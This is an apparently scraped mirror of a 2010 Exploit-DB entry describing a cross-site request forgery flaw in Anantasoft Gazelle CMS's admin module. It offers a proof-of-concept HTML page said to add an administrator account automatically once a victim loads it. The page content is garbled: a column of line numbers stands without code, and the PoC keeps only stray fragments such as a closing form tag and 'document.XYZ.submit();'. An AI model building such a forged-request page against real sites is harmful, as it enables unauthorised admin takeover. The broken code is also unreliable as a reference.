Gazelle CMS – Cross-Site Request Forgery - 体验盒子

作者： pratul agrawal

日期： 2010-03-10

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11680/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

=======================================================================

Anantasoft Gazelle CMS CSRF Vulnerability

=======================================================================

by

Pratul Agrawal

# Vulnerability found in- Admin module

# email Pratulag@yahoo.com

# company aksitservices

# Credit by Pratul Agrawal

# SoftwareAnantasoft_Gazelle_CMS

# Category CMS / Portals

# Plateform php

#Proof of concept #

Targeted URL:http://server/demo/2/193/Anantasoft_Gazelle_CMS

Script to Add the Admin user through Cross Site request forgery

.................................................................................................................

<html>

<body>

</form>

document.XYZ.submit();

</script>

</body>

</html>

...................................................................................................................

After execution refresh the page and u can see that user having giving name Added automatically with Admin Privilege.

#If you have any questions, comments, or concerns, feel free to contact me.